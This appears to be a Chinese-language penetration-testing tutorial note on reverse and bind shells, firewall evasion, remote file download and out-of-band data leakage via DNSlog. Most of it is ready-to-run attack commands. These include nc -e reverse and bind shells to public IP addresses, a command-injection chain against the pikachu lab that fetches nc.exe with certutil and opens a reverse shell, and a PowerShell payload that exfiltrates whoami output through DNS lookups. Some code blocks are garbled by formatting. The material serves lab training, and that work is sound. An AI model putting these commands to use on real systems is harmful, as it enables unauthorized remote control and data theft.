005-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载

基础入门-反弹 SHELL&不回显带外&正反向连接&防火墙出入站&文件下载

1、渗透命令-常规命令&文件上传下载

(1)常规基本渗透命令详解

https://blog.csdn.net/weixin_43303273/article/details/83029138

(2)文件上传下载

  • 文件上传下载-解决无图形化&解决数据传输

  • 使用环境:实际使用中,浏览器访问web的文件目录自动进行下载的文件,但系统内没有图形化界面时,使用命令向自己的服务器请求下载文件

  • 命令生成:使用棱角社区的生成下载命令的在线工具

    https://forum.ywhack.com/bountytips.php?download

    填写自己的服务器ip和端口,对不同的操作系统选择不同的命令

2.反弹 Shell 命令-解决数据回显&解决数据通讯

(1)正向连接:我连接你

  • 本地监听等待对方连接,端口选择1-65535(只要不被占用)

    • Linux 控制 Windows

      windows绑定 CMD 到本地 5566 端口

      1
      nc -e cmd -lvp 5566

      linux主动连接目标windows(47.122.23.131)5566 ,进入到windows的cmd

      1
      nc 47.122.23.131 5566

    • Windows 控制 Linux

      linux绑定 /bin/sh 到本地 5566 端口

      1
      nc -e /bin/sh -lvp 5566

      windows主动连接目标linux(47.94.236.117),进入到linux的/bin/sh

      1
      nc 47.94.236.117 5566

      image-20241024232921410

(2)反向连接:我等着你连接

  • 主动给出去,对方监听

  • windows控制linux

    linux绑定/bin/sh主动给到目标 windows(47.122.23.131)5566 端口

    1
    nc -e /bin/sh 47.122.23.131 5566

    windows5566 连接,进入到linux的/bin/sh

    1
    nc -lvvp 5566
  • linux控制windows

    windows绑定CMD主动给到目标linux(47.94.236.117) 5566 端口

    1
    nc -e cmd 47.94.236.117 5566

    linux 5566 连接,进入windows的cmd

    1
    nc -lvvp 5566


  • Linux外网服务器连接内网windows

    linux找不到windows的ip,windows可以访问外网linux,只能windows主动给出去

    内网windows,内网ip(192.168.1.99),出网ip(171.0.1.2)

    1
    nc -e cmd 47.94.236.117 5566

    外网linux

    1
    nc -lvp 5566
  • 内网windows连接外网linux服务器

    外网linux:

    1
    nc -e /bin/sh -lvp 5566

    内网windows:

    1
    nc 47.94.236.117 5566

3.实际案例1:防火墙绕过-正向连接&反向连接&内网服务器

  • 管道符:

    1
    | (管道符号) || (逻辑或) && (逻辑与) & (后台任务符号)

    windows:| & || &&

    linux: ; | || & && `` (特有 ; 和 ``)

  • 使用管道符实现执行多个命令

    例子:

    • ping -c 1 127.0.0.1 ; whoami
      ping ;whoami
      
      1
      2
      3

      - ```
      ping -c 1 127.0.0.1 | whoami
    • ping -c 1 127.0.0.1 || whoami
      
      1
      2
      3

      - ```
      ping -c 1 127.0.0.1 & whoami
    • ping -c 1 127.0.0.1 && whoami
      
      1
      2
      3
      4

      - ```
      ping -c 1 127.0.0.1 `whoami`
      ping `whoami`
  • 使用nc连接pikachu靶场ping题:

    1.获取nc.exe到路径C:\\

    1
    0.0.0.0 | certutil -urlcache -split -f https://learning-image-hwt.oss-cn-heyuan.aliyuncs.com/tool/nc.exe C:\\nc.exe

    2.执行nc进行反向连接

    1
    0.0.0.0 | C:\\nc.exe -e cmd 8.155.11.131 5566

    3.公网linux监听自身5566端口获得cmd

    1
    nc -lvp 5566

    注:服务器连接不上,需要配置防火墙入站规则

  • 防火墙:入站规则,出站规则

    防火墙一般默认入站严格,出站宽松

4. 实际案例 2:防火墙组合数据不回显-ICMP 带外查询 Dnslog

  • 漏洞有,但数据不回显

    • 方法1:反弹shell

    • 方法2:带外查询:看不到结果,主动带出来

      • 平台:DNSLog 平台 — DNSLog Platform

      • 使用:获取一个SubDomain地址,尝试去ping,ping通了网页会有一个记录,表示命令执行成功。防火墙对此无影响

        1
        ping zqsx0z.dnslog.cn

        image-20241025191257501

        1
        ping whoami.zqsx0z.dnslog.cn

        问题:只输出了字符串whoami,并没有执行whoami命令

        1
        ping `whoami`.zqsx0z.dnslog.cn

        问题:windows的cmd命令识别不了``,这个符号是linux系统特有的

        并且,cmd不能带入执行whoami

        办法:采用powershell赋值变量进行执行

        $x=whoami;$y=’.am84eg.dnslog.cn’

        $z=$x+$y

        问题:地址里有一个 \ 导致找不到

        方法:使用replace()替换 \

        1
        $z=$z.replace('\','xxx')

        最终构造:

        1
        127.0.0.1 | powershell $x=whoami;$x=$x.replace('\','xxx');$y='.blefo9.dnslog.cn';$z=$x+$y;ping $z

        cmd无法同时执行ping和whoami,用powershell变量赋值,把whoami执行结果给变量,结果带有“\”导致ping无法执行,需替换

        至此,命令执行成功,带出回显